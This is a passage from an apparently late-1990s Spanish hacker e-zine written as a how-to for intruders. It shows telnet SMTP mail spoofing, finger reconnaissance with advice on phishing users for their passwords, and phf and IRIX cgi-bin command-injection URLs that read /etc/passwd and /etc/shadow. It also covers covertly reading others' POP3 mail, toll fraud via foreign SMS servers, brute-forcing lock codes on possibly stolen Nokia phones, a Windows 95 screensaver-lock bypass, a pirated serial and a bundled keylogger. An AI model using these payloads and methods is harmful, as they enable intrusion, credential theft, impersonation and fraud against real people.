puedes poner cualquier cosa. MAIL FROM: usuario --> 'usuario' es el remitente, el que quieres falsificar. RCPT TO usuario --> 'usuario' es el destinatario. A donde vas a enviar el mail. VRFY direccion --> Verifica el reparto de mail de una direccion. EXPN direccion --> Expone la direccion de una lista de correo. DATA --> Nos permite escribir el texto a enviar. Acaba con un punto. RSET --> Interrumpe la transmision. NOOP --> No hace nada. Sirve para ver si seguimos conectados o no. DEBUG nivel --> Fija el nivel de de debugging. QUIT --> Terminar. Cerrar la conexion. Si tu unica intencion es hacer fake mail, puedes usar algun programa destinado a ello (hay muchisimos); incluso un mailbomber te serviria (diciendole que solo deseas enviar uno). En estos programas solo has de especificar: Servidor de SMTP (muy importante que no refleje tu IP). Direccion de correo del remitente (la falsa, claro). Direccion de correo del destinatario (la victima). Para hacer fake mail desde telnet haz lo siguiente: (lo que esta seguido de numeros es la respuesta del servidor) telnet microsoft.com 25 220 microsoft.com Microsoft Sendmail 1.0 ready at Sat, 2-1-98 HELO supercoco 250 <microsoft.com> Hello supercoco MAIL FROM: aznar@moncloa.es 250 <aznar@moncloa.es> ...Sender OKay RCTP TO: gonzalez@psoe.es 250 <gonzalez@psoe.es> ...Recipient OKay DATA 354 Enter mail, end with "." on a line by itself No no no!!! no me pienso ir señor Gonzalez!!! . 250 Mail accepted QUIT 221 microsoft.com closing connection. """""""""""""""""""""" " PUERTO 79 (FINGER) " " " """""""""""""""""""""" - Utilidad =-=-=-=- Conseguir mucha informacion sobre usuarios. Cuando hacemos un finger podemos obtener algo asi: login datos personales tipo de shell ----- ---------------- ------------- victima Antonio Botella /bin/bash last log 23 Feb (o, user never log) Como ves, podemos llegar a conseguir sus datos personales, tipo de shell que usa, ultima conexion que hizo, login (y direccion de correo), ... Esto puede servirte, entre otras muchas utilidades, para intentar adivinar su password (ya que mucha gente usa contraseñas tan simples como su login, combinaciones de su nombre y apellidos, ...). O tambien puedes usar algo de ingenieria social para obtener su contraseña, bien enviandole un mail falso a victima@su.servidor.com 'persuadiendole' para que te de su password o puedes buscar su nombre en la guia y hacer una llamada telefonica haciendote pasar por su proveedor de Internet. - Formas de explotarlo =-=-=-=-=-=-=-=-=-=- * Estilo newbie ------------- Puedes hacer usar la orden finger para solicitar la informacion deseada: finger victima@su.servidor.com En algunos servidores podras hacer: finger @su.servidor.com (sin especificar el usuario) Asi te saldran todos los datos de los usuarios que estan conectados al servidor en ese momento. Tambien puedes escribir: finger 0@su.servidor.com Y obtendras ... Si no conoces el login de ningun usuario puedes probar 'a ciegas' para obtener alguno. Solo has de ir probando nombres, y si alguno de ellos es un login o esta en los datos personales de algun usuario, te lo mostrara. Si por ejemplo escribimos: finger juan@su.servidor.com Puede que nos salga: login datos personales tipo de shell ----- ---------------- ------------- juan J. Antonio Perez /bin/bash last log 20 Feb O tambien: login datos personales tipo de shell ----- ---------------- ------------- jjose Juan Jose Sanchez /bin/csh last log 2 Feb Debes de tener muy en cuenta de donde es el servidor, porque si es uno de Japon, no te servira de nada probar nombres españoles o alemanes. Los usuarios que suelen estar en todos los sistemas son: root, admin, postmaster, webmaster, ... * Estilo hacker ------------- Para hacer esto por telnet has de especificar el puerto 79, de forma similar o los casos anteriores. Una vez conectado, escribe el nombre del usuario, una @, o un 0. Los resultados son los mismos que en la forma newbie. """"""""""""""""""" " PUERTO 80 (WWW) " " " """"""""""""""""""" - Utilidad =-=-=-=- Este servicio es el que nos permite ver las paginas Web. Nosotros podemos aprovecharlo, mas que nada, para conseguir el shadow (mediante los bugs del 'phf') o tambien para modificar el .rhosts de algun usuario (consultar seccion de bugs & exploits). - Formas de explotarlo =-=-=-=-=-=-=-=-=-=- * Estilo newbie ------------- Puedes probar los bugs del 'phf' que aparecen en la seccion de bugs. Este tipo de bug ya ha sido comentado en numeros anteriores de este zine, pero lo volvere a escribir: Para capturar el passwd: http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd Para capturar el shadow: http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/shadow Como no se pueden escribir ni espacios ni finales de linea (ENTER), debemos escribir su codigo ASCII (el '0a' es el ENTER y el '20' es el espacio, ambos en hexadecimal). Para indicar que es ASCII debemos escribir antes un '%'. Si usas tu imaginacion podras ejecutar muchos mas comandos del sistema que te podrian ser utiles para conseguir mucha informacion. * Estilo hacker ------------- Accedes por telnet al puerto 80 y usas alguno de estos 3 comandos: GET (consigue informacion del cliente al servidor). PUT (pregunta al servidor si acepta la informacion como reemplazo del objetivo). POST (pregunta al servidor si acepta la informacion pasada del cliente como una especificacion del objetivo). Si no escribes la orden correctamente, te cerrara la conexion. Como ves, esta bastante restringido, pero te sirve para explotar algunos bugs de ese protocolo (HTTP/1.0). Como ejemplo pondre un conocido (y antiguo) bug que funciona (si no esta parcheado) en algunos sistemas IRIX: GET /cgi-bin/handler/fichero_falso;cat /etc/passwd|?data=Download El cgi-bin/handler permite la lectura y escritura de ficheros, pero tiene un ligero problemilla que se le paso a sus programadores, y es que cuando intenta abrir el fichero especificado (en este caso seria 'fichero_falso') y no lo encuentra (se supone que ese archivo no esta en el sistema), ademas de darnos un mensaje de error, pasa a ejecutar la seguiente instruccion que se encuentra (en este caso, el 'cat'). De este modo podremos ver el /etc/passwd del sistema. Tambien se pueden utilizar otros comandos ademas del cat. Usa tu imaginacion. Pero debes tener en cuenta que el script no admite espacios, por lo que cada vez que necesites escribir uno, deberas usar el tabulador (TAB). """"""""""""""""""""" " PUERTO 110 (POP3) " " " """"""""""""""""""""" - Utilidad =-=-=-=- Leer el correo de algun usuario. Para ello has de tener el login y el password, logicamente. Es ideal para espiar y recopilar importante informacion (segun el usuario) sobre ese sistema u otro. O simplemente para ver sus trapicheos con el intercambio de fotos guarras. ;) - Formas de explotarlo =-=-=-=-=-=-=-=-=-=- * Estilo Newbie ------------- Solo has de cambiar la configuracion de tu programa de correo. Para ello debes modificar tu login por el suyo y tu direccion de pop3 por la suya. Y claro, usa su password. Debes realizarlos siguientes cambios: POP3 Server: mail.serverhackeado.com SMTP Server: (no hace falta que lo modifiques) POP3 Username: pardillo Y cuando te lo pida, introduces el password del usuario en cuestion. No olvides, antes de nada, configurar tu programa de correo para que deje los mensajes en el servidor (en vez de borrarlos) ya que el propietario de la cuenta podria darse cuenta de que le alguien le lee el correo. * Estilo hacker ------------- Si eres un verdadero hacker puedes acceder al puerto 110 mediante telnet, de forma similar a la que he indicado en los casos anteriores. Si optas por esta opcion deberas conocer cuales son los comandos necesarios para 'moverte' por el sistema. Antes de nada debes especificar el nombre y la contraseña del usuario: USER pardillo PASS miClave (la del pardillo, claro!!!!!) Si lo has hecho bien, ya estas dentro. Este protocolo no dispone de ayuda, asi que no te molestes en escribir HELP. Pero para eso esta el tito Guy, para decirte cuales son lo comandos que debes usar. De todos modos, algunas versiones te muestran todos los comandos al introducir algun caracter erroneo. No te dice para que sirve cada orden pero por lo menos te muestra todas las disponibles. STAT --> Nos dice el numero de mensajes que hay en el buzon y el tamaño en bytes que ocupan. LIST --> Similar al anterior pero nos muestra el tamaño de cada mensaje (no en conjunto). RETR num --> 'num' es el numero de mensaje que queremos leer. Nos lo mostrara por pantalla. TOP num nLin --> 'num' es, al igual que antes, el numero de mensaje que queremos visualizar, y 'nLin' es el numero de lineas que queremos que nos imprima (por si no queremos verlo entero. Tambien es util porque a veces el mensaje no podemos verlo todo debido a que no cabe en pantalla y con el scroll lo perdemos). DELE num --> 'num' vuelve a ser el numero de mensaje. Con este comando, lo borraremos. Cuidadin ... RSET --> Chequea el buzon en busca de mensajes nuevos. HOST dir --> 'dir' es la direccion del host al que quieres acceder (creo). LAST --> MBOX file --> 'file' es el nombre de un buzon al que quieras acceder (creo). NOOP --> QUIT --> Salir :) Esto es todo ... otro dia seguiremos analizando mas puertos ;) ┌───────── - - - · · · · · │ GuyBrush · · guybrush@cyberdude.com │ · · · · · - - - ─────────┘ zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ Quieres enviar Faxes por el morro? lee bien este articulo ... zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ 6 - PHREAKING CELLULARS ~~~~~~~~~~~~~~~~~~~~~~~ -------------- | ------- | | SMS-fax | | -------- | -------------- PHREAKING CELLULARS -------------------------------- -Servidores SMS gratiX.... By SlimeLORD+ ECLIPSE GROUP --------------------------cut------------------------------------------------ Hola again vuelvo de nuevo para sacar otro trukito pa la mejor revista, ejem! la vuestra. --------------------------cut------------------------------------------------ SECTION FILE, scanning... AUTHENTIFICATION REQUIRED login: ***** pass: ******* OK entered PENTAGONON IP accesible confirmed Wellcome Clinton! (SlimeLORD RuleZ) Aqui llego de nuevo en esta serie de articulos para que veais lo facil que podeis mandar tanto MENSAJES CORTOS como FAXES a cualquier telefono del mundo a traves de un telefon GSM que permita mandar datos... En Espain cobran 5 duros por mandar un mensajito de estos pero si usamos un servidor extranjero pues mira por donde, no llegara ninguna facturilla jeje... Aqui os pongo unos cuantos para disfrute vuestro: x +3409090909 upS! este no vale, ya me lo habeis chaFao (T) (cobra) v +352021100003 permite enviar tato FAXES como SMS, quizas tambien permita -solo en GSM que lo soporten- enviar e-mails.... v +436640501 otro solo sms v +27831000006 y otro... v +420602909909 para mi el mejor CON DIFFERENCE , eficaz y el MAS rapido de todos, pues ademas te da recibi de cuando ha llegado a su destino y es gratiX. Bueno hasta la proxima, intentare escribir mas tecnicamente....! UmmF! SlimeLORD@Hotmail.Com ------------------------cut-------------------------------------------------- Que hay hermanos? Que les parecio el invento? Bueno no es nada con el articulo que estoy escribiendo sobre telef- GSM NOKIA y MOTOROLA para poder hacer diablras con ellos, solo que me gustaria me hecharan un cable pues no dispongo de ellos y la informacion solo es un poco una recopilacion de los mejores trukitos para la makina, osea ke ... Bueno de todas formas las pondre a vuestra disposicion para que la inserten donde quieran en la revista, sin mas coordiales saludotes! desde la Spain! Hare Chrisna! SlimeLORD@HOTMAIL.com ----------------------cut---------------------------------------------------- ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()() Si tienes un Nokia, no hace falta que te mires el largo y aburrido manual, esto es mucho mas interesante ... ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()() 7 - PROGRAMING CELLULARS ~~~~~~~~~~~~~~~~~~~~~~~~ -------------- | ------- | | PROGRAMMING | | -------- | -------------- PROGRAMMING CELLULARS -------------------------------- -Algunos Modelos NOKIA.... By SlimeLORD+ ECLIPSE GROUP Hola gente, aqui os he reopilado alguna informacion para la gente de NOKIA, si si, os muestro la forma de programar los moviles, para que la gente pueda retocar las funciones y asi ahondar mas en las "posibilidades" del movil, el autor de toda esta informacion mostrada no se hace responsable, solo alega que es de proposito educacional, y que cada cual la interprete de la mejor forma posible. ************************************** * MODELO NOKIA/MOBIRA P4000 & PT612 * ************************************** NOTA: Estas son unidades NAM duales El prefijo ESN es 165 en decimal y A5 hex. Nokia: 813-536-5553 PROGRAMACION DE LA NAM: 1. Enciendelo. 2. Entra * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es codigo de seguridad 1 2 3 4 5 es el defecto de fabrica. 3. Si la entrada fue corecta pondra "IdEnt IF InFO Pri" Saltate al paso 7 para programarla NAM 1, o completa de 4 - 6 para encender la NAM 2. 4. Presiona SND para poner "IdEntif InFO OPT" 5. Pulsa END y pondra "OPt InFO diSAbLEd" 6. Pulsa SND y pondra "OPt InFO EnAbLEd" 7. Pulsa END, la primera entrada de datos aparecera. 8. SND se usa para cambiar parametros digitales solo. 9. Pulsa END para almacenar e incrementar cada paso. 10. En cualquier momento pulsa SEL CLR para salir del programa. DATOS DE PROGRAMACION PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION 01 00000 - 32767 HO-Id ID SYSTEM 02 0 OR 1 ACCESS MARCA MIN 03 0 OR 1 LOCL OPt LOCAL USE MARK 04 10 DIGITS Phonxx MIN (AREA CODE & TEL#) 05 08 ONLY St CLASS STATION CLASS MARK 06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL 07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS 08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES) 09 2 DIGITS grOUP Id GRUPO ID (10 EN USA) 10 5 DIGITS SECUrity CODIGO SEGURIDAD (DEJAR EN 12345) 11 8 DIGITS SERIAL NUMBER NO CAMBIAR 12 MM/DD/YY 1 dAtE NO CAMBIAR 13 MM/DD/YY 2 dAtE FECHA DE INSTALACION ***************************** * MODELO NOKIA LX11 & M11 * ***************************** NOTA: Estas son unidades NAM duales El prefijo ESN es 165 en decimal y A5 hex. Nokia: 813-536-5553 PROGRAMACION DE LA NAM: 1. Enciendelo. 2. Pulsa * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es el codigo de seguridad 1 2 3 4 5 es por defecto de fabrica. 3. Si lo de arriba es correcto pondra "IdEnt IF InFO Pri" Pasa al paso 6 para programar la NAM 1, o sigue 4 & 5 para cambiar a NAM 2. 4. Pulsa SND y pondra "OPt InFO diSAbLEd" 5. Pulsa SND y pondra "OPt InFO EnAbLEd" 6. Pulsa END, y saldra la primera entrada de datos. 7. Pulsa END para almacenar e incrementar cada paso. 8. La tecla SND cambia la opcion digital simple. 9. Pulsa SEL CLR para salir del programa habiendo seguido todos los pasos. DATOS DE PROGRAMACION PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION 01 00000 - 32767 HO-Id ID SYSTEM 02 0 OR 1 MIN Mark MARCA MIN 03 0 OR 1 LOCL OPt MARCA DE USO LOCAL 04 10 DIGITS Phonxx MIN (AREA CODE & TEL#) 05 08 ONLY St CLASS MARCA DE CLASE DE ESTACION 06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL 07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS 08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES) 09 2 DIGITS grOUP Id GRUPO ID (10 EN USA) 10 5 DIGITS SECUrity CODIGO SEGURIDAD 11 MM/DD/YY 1 dAtE NO TOCAR 12 MM/DD/YY 2 dAtE DATO DE INSTALACION 13 Prog done PULSA SEL CLR PARA SALIR BLOQUEO: SEL LCK. DESBLOQUEO: Entra el codigo de 4 digitos. SELECTOR DEL SISTEMA: SEL 1 luego 1 para scroll: A = A solo, b = B solo, S = Pref/no pref, H = Regreso solo. *************************** *MODELO NOKIA M10, TC2000 * *************************** NOTA: Estas son unidades NAM duales El prefijo ESN es 165 en decimal y A5 hex. Nokia: 813-536-5553 PROGRAMACION DE LA NAM: 1. Enciendelo. 2. Pulsa * 1 7 * 3 0 0 1 * L L L L *, donde LLLL es el codigo de bloqueo por defecto de fabrica es 1234. Si no se sabe el codigo (robado?) prueba a poner numeros de 4 cifras, haber si aciertas, pues tienes la ventaja de que a la tercera oportunidad no te bloquea el movil.... 3. Pulsa SEL para almacenar los datos y para moverte entre los nombres de parametros y las entradas. 4. Pulsa CLR para corregir la entrada. 5. Pulsa END para abortar la programacion. 6. En cualquier momento pulsa SEL END para salir y completar la programacion el telefono saldra solo si tocas con el puntero todos los parametros. PROGRAMACION DE DATOS PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION 01 00000 - 32767 HO-Id SYSTEM ID 02 0 OR 1 ACCESS METODO DE ACCESO (MIN MARK) 03 0 OR 1 LOCAL LOCAL USE MARK 04 10 DIGITS Phone N MIN (AREA CODE & TEL#) 05 08 ONLY CLASS STATION CLASS MARK 06 333 OR 334 PAGE ch INITIAL PAGING CHANNEL 07 2 DIGITS O-LOAd ACCESS OVERLOAD CLASS 08 2 DIGITS GrouP GROUP ID (10 IN USA) 09 4 DIGITS Loc CodE CODIGO DE BLQUEO NOTE: Se sugiere que el codigo de bloqueo sea dejado 1234, o los cuatro ultimas cifras del numero de telefono. BLOQUEO: SEL LCK. DESBLOQUEO: Entra codigo de 4 cifras. SELECTOR DEL SISTEMA: SEL 1 cuando 1 para moverte: A = A solo, b = B solo, S = Pref/no pref, H = Regreso solo. ********************* * MODELO NOKIA 121 * ********************* Para entrar en el sistema de datos pulsa *60312#12345, y luego la tecla M seguida de la localizacion de memoria 00 (cero, cero) Ahora veras "Store Not Done" en la pantalla. Usa la tecla de (R)ellamada seguida de las localizaciones 1, 2, 4 y 5... El NOKIA 121 es similar a la serie 101/201 (es el mismo telefono excepto el teclado y el software...Technophone tambien tiene un modelo que es identico (osea que es mas baratillo el de esta marca...) Las localizaciones 1 & 2 contienen la informacion para la NAM 1 mientras que la 4 & 5 contienen la NAM 2. No estoy seguro en el NOKIA 121 pero para el 101/201 aqui esta la secuencia de programcion... *3001#12345 <STO> 00 (Pone en pantalla "store not done") RCL 01 te da el codigo del pais, llamada de emergencia y codigo de bloqueo RCL 02 te da el numero de telefono de 10 digitos RCL 03 te da el SYS ID (5 digitos, 3 de ellos no se ven hasta que no bajes hacia abajo cuando programes el telefono , el bit de acceso local, la marca MIN, el canal de control inicial, la clase de sobrecarga de acceso y el grupo ID. Estas 3 localizaciones de memoria son para la NAM 1, y 4&5 lo son para la NAM 2 (la localizacion de memoria 01 es comun para ambas NAMS) ++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Osea que aqui termina mi INFORMACION, no he querido o NO he podido + profundizar mas en la programacion de los NOKIAS porque NO + disponia de ningun modelo para hacer las pruebas, agradeceria a cualquier + lector de la revista que pudiese usar estos datos en sus NOKIAS para + que nos diera mas informacion de sus observaciones. + O que es lo que ha podido programar... + + En todo caso tenganme en contacto en: + SlimeLORD@Hotmail.Com + + Un saludote y hasta la proxima! + Que traere la programacion de la serie MOTOROLA..... + Y si puedo hasta la de ALCATEL,... sigan en la espera mi pana!!! + + SlimeLORD +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Aqui teneis algo de humor. Lo encontre por las news traducido del ingles. Es bastante original e incluso se podria decir que es el retrato robot de algun que otro lamer ... +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- 8 - COMO SER UN "JAKER" EN 10 MINUTOS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ COMO SER UN "JAKER" EN 10 MINUTOS O EN 10 LECCIONES BREVES ---------------------------------------------------------- Estimado futuro "jaker": 1) En primer lugar tu no puedes llamarte de cualquier manera si te vas a dedicar a esto: no vale Pepe, Ramirez, Lucas o cosas asi. Debes elegir un "nick" apropiado como Kajjin, kOrLeOnE, BronKa, ViErNeS13, o similar. 2) Tu direccion de correos no puede ser tan vulgar como la mia. Debes buscarte algo acorde con el nick, y por supuesto mas falsa que una moneda de 30 duros, por ejemplo: bronkaen@puticlub.com (nada de jerarquia .es, la tuya debe ser .com, .org, u otra similar de tu invencion (ejemplo de la vida real: "mafia@ufoplanet.com"), aunque resulte que eres de Ceuta y uses el OUTLOOK EXPRESS. 3) Por supuesto tu no usas una computadora (joder!), ni un cerebro electronico (esto ni de coña, por favor!), ni siquiera un ordenador. Lo tuyo es una "maquina" que corre bajo UNIX o LINUX. Como se te ocurra nombrar GUINDOS la cagaste pa toa la vida. 4) Tus mensajes (desde ahora "posts") al grupo, una vez redactados "offline" los repasas, quitas las Q y las cambias por K, asi como los sonidos CA (KA), CO (KO), CU (KU). No sabes la impresion de duro, de "halternatibo", de algo asi como a lo Santiago Segura, que da este toke!... Si ademas dejas caer que te encanta INTOZIKAZION EHTILIKA, JENOZIDAS HAGUERRIDOS... jo! eso ya es la hostia... 5) Tu "news reader" (o sea el programejo para leer estas tonterias) es la ultima version del "AGENT", debidamente crakeada, cuando tu no tienes ni pajolera idea de ingles y encima el coñazo de no saber como leches marcar, bajar, responder, eliminar... En fin, todo sea por el bien de la causa, con lo comodo que es el Netscape o el Outlook Express (spanish version, claro) 6) Por supuesto no se te ocurra pedir nada. Tu lo sabes todo (de momento). Cuando te consideren "guru" llega el momento de pedir el crack del WINZIP o cualquier otra "merde" por el estilo diciendo que es "pa un kolega jili ke usa er Guindoz" 7) En alguno de tus post debes contar que una vez te colaste en un sistema como "root", "deduciendo" login y pasword, y que les dejaste una hermosa "huella" de tu paso (no vayas a decir que te cagaste, que tampoco es eso) 8) Ni se te ocurra decir que bajas soft de Paniagua, Tucows, Ethek, Shareware, y mucho menos de Microsoft (di siempre Mocosof, que mola un mazo). Tu esos sitios ni los visitas; te pasas horas en Islatortuga (aunque solo sea mirando extasiado la "home page"), Kanniball, o en el PGP (del que por supuesto tienes la ultima version). Antes molaba el Private Idaho, pero desde que el Keanu Reeves hizo la pelicula suena un poco amariconado, o sea por alli tampoco iras desde ahora. 9) Estas suscrito, por supuesto a todos los grupos 2600, warez, hacking, prehaking (esto no se como s'escribe) y fucking (esto si), y por aqui solo vienes a dar algun consejillo que nunca es alabado ni valorado lo suficiente (snif...). 10) Contesta (manda "replys") a todos los post off topic que pidan algo como craks, drivers, serial numbers... en el que aparezca algo asi como "Tu eres un lamer de mierda!", o "ke t den". Ah! olvidate de horterolas y cutremovil; tu no usas esas pijadas de "lamer", como mucho un GSM con "tarjeta de recarga tomatica, jejeje". Al poco tiempo te habras hecho un nombre y ya puedes empezar a pedir lo que pide la mayoria. Veras que hay poco kacker a los que admirar, y que lo que abunda es un puñado de "marianos" que van por la vida presumiendo de no se que... Saludos, sus y a por ellos. O'F. MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW Parece que a Microsoft no se les acaban los bugs. Esta vez es en el protector de pantalla y ... solo para HP :( MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW 9 - BUG WIN95+HP ~~~~~~~~~~~~~~~~ ------------------------------------------------------------- --------------------BUG WIN95+HP----------------------------- ------------------12r43lOverdrive---------------------------- -----------------12r@antisocial.com-------------------------- ------------------------------------------------------------- Esta es una premisa de C-R-A-S-H. BUG-WIN95+HP es el nombre que le he dado a lo que sigue. Acceder al PC con la contrase±a del protector de pantalla de Windows 95 activada? Como ustedes sabran hay muchas formas de hacer esto, una, y de la cual hablaremos en este articulo es en las computadoras Hewlett Packard, ya sean Brio o Vectra acupando el Extended Keyboard de HP, es decir el teclado de botoncitos de acceso directo de HP. He aqui como hacerlo: Primero cuando Windows nos pida la contrase±a del protector de pantalla hay que presionar el boton con una luna y con un icono de un candadito en la parte superior derecha del teclado. Cuando aparezca una alerta que nos indica que la maquina va a entrar a modo dormir, etc.. le decimos que si, despues de unos segundos presionamos la barra espaciadora y listo! tenemos la barra de herramientas visible y lista para ser usada, lo que yo recomiendo es presionar con el mouse el boton del logo de Windows y seleccionar el icono de ms-dos o sino la opcion de ejecutar, (no veremos lo que pasa en el escritorio ya que el protector de pantalla lo sigue tapando, asi que hay que ir a ciegas) despues escribir command.com y tendremos el control de la PC por DOS. En dado caso que Windows tenga configurado a DOS para ejecutarse en ventana, simplemente presionando ALT+INTRO se ejecutara en pantalla completa. Lo anterior fue probado con varios protectores de pantalla y la version mas reciente de Windows, en varias PC's, por lo que espero funcione en versiones anteriores de Windows y en otras maquinas. Otra teoria es que cualquier maquina que tenga Windows95 y ademas tenga un boton de entrar a modo dormir puede dar resultados similares a lo anterior, pruebenlo! 12r-1998 ------CRASH------- 12r Overdrive 1998 12r@antisocial.com ------------------ ▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄ Y ya que estamos con el Windows, aqui teneis algunos truquillos mas, pero esta vez para el 3.x ... ▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄ 10 - CAMBIAR EL LOGO DE INICIO DE WINDOWS 3.X ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Si quieres que tu lamentable profesor de informatica se quede con la boca abierta al ver una foto X al iniciar el Windows toma nota: Con un editor grafico crea un archivo grafico con formato RLE. El archivo lo puedes crear con un programa como Paint Shop Pro y para cambiar su formato pillate el Graphic Work Shop en la pagina www.mindworkshop.com/alchemy/gww.html, ademas por gentileza de Mr_Frost este es el codigo de registro: numero: 29581 numbre: WareZoHolicS Este codigo es para la version de Windows 3.x pero creo que tambien vale para las demas, este programa ademas de ser un excelente visualizador de imagenes tiene bastantes formatos de conversion, entre ello el RLE. Atencion, el archivo grafico no debe tener mas de 16 colores ni ocupar mas de 47696 bytes ni tener una resolucion mayor a 640x480 pixels. Este archivo sera incluido dentro del ejecutable win.com asi que mas vale hacer una copia antes de empezar a trastearlo. Desde la linea de mandatos del MS-DOS teclearemos lo siguiente: C:\>copy /b systm\win.cnf+system\vgalogo.lgo+milogo.rle win.com siendo "milogo.rle" el archivo grafico creado por nosotros. Ahora cada vez que se inicie el Windows saldra nuestro dibujo. Para que no aparezca ningun logo al inicio basta con teclear win : cada vez se cargue. Para crear un win.com si logo: C:\WINDOWS>copy system\win.cnf win.com ;ojo, desde el directorio Windows. Para hacer la operacion contraria, restaurar el antiguo logo, copia el win.com encima del antiguo de la siguiente manera: C:\>move /y a:\win.com c:\windows\win.com Feliz Hacking, Mr_Frost ▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀■▄▄■▀▀ El Software de Frost. ~~~~~~~~~~~~~~~~~~~~~ En el numero 10 se mostraba como hackear con un editor hexadecimal, pero como todo el mundo no tiene el Ventanuco 95 para usar el editor hedit incluido tambien en la revista, ahi les mando un buen editor hexadecimal para MS-DOS. Ademas, he incluido un capturador de teclado para MS-DOS (si alguien sabe de alguno para Windows que me lo diga!!) bastante bueno y un compilador para archivos BAT con el que podras crear tus programas sin necesidad de aprender un lenguaje complicado. Nota: el compilador de archivos BAT crea un odioso mensaje que sale cada vez que se ejecuta el programa compilado, pero eso no es problema para Frost: para quitar el mensaje y la pausa que hace antes de procesar el codigo de nuestro programa basta con abrir el programa compilado con del editor hexadecimal incluido y rellenar con ceros '00' todos los bytes de la cabecera del archivo hasta el ultimo retorno de carro '0D 0A 0A' incluido. Ejemplo: tenemos la siguiente cabecera de un archivo BAT compilado BA 31 01 B4 09 CD 21 06 B8 40 00 8E CD B9 03 00 que contiene la pausa y 26 8A 26 6C 00 80 E4 0F 26 A0 6C 00 24 0F 3A C4 el pesado mensaje que se 74 F6 26 A0 6C 00 24 0F 3A C4 75 F6 E2 EA 07 EB ejecuta cada vez que 7E 54 68 69 73 20 66 69 6C 65 20 63 6F 6D 70 69 ejecutamos nuestro 6C 65 64 20 77 69 74 68 20 75 6E 72 65 67 69 73 programa obligandonos a 74 65 72 65 64 20 76 65 72 73 69 6F 6E 20 6F 66 pagar por usar este 20 54 75 72 62 6F 42 41 54 20 62 61 74 63 68 0D programa. 0A 66 69 6C 65 20 63 6F 6D 70 69 6C 65 72 2E 20 20 50 6C 65 61 73 65 20 72 65 67 69 73 74 65 72 20 74 6F 20 65 6C 69 6D 69 6E 61 74 65 20 74 68 69 73 20 6D 65 73 73 61 67 65 2E 0D 0A 0A .... Para quitarlo hay que rellenar toda la cabecera con bytes neutros como 00 hasta el ultimo retono de carro que indica el final del mensaje 0D 0A 0A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .... Bueno ya saben como va esto, no? Para crear el archivo frost.zip con las utilidades que se han descrito mas arriba copia el texto entre los puntos (sin los puntos) y copialo a un archivo con el nombre frost.uue y usa el programa UUDECODE (incluido en RareGaZz #1) con la siguiente SINTAXIS: UUDECODE FROST.UUE ..........................Empieza el codigo.................................... [Image]Download Attachment: frost.zip [Get Virus Scan] ..........................Fin del codigo....................................... Estas utilidades te haran la vida mas facil Mr_Frost oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO Y para que veais que en nuestro zine tenemos gran variedad, aqui va algo de IRC. Algunos trucos son los de siempre, pero hay otros que estan muy bien .. oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO 11 - TRUCOS PARA EL IRC HISPANO ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Jelou. Primero de todo felicitarles por este magnifico magazine que estan promoviendo y que es de gran utilidad (al menos para mi). Tb me gustaria ofrecerles mi colaboraci≤n para lo que quieran IRC paginas interesantes algo que busquen y no encuentren, etc. como parece que el tema del IRC lo dejan un poco a parte, es normal ya que hay 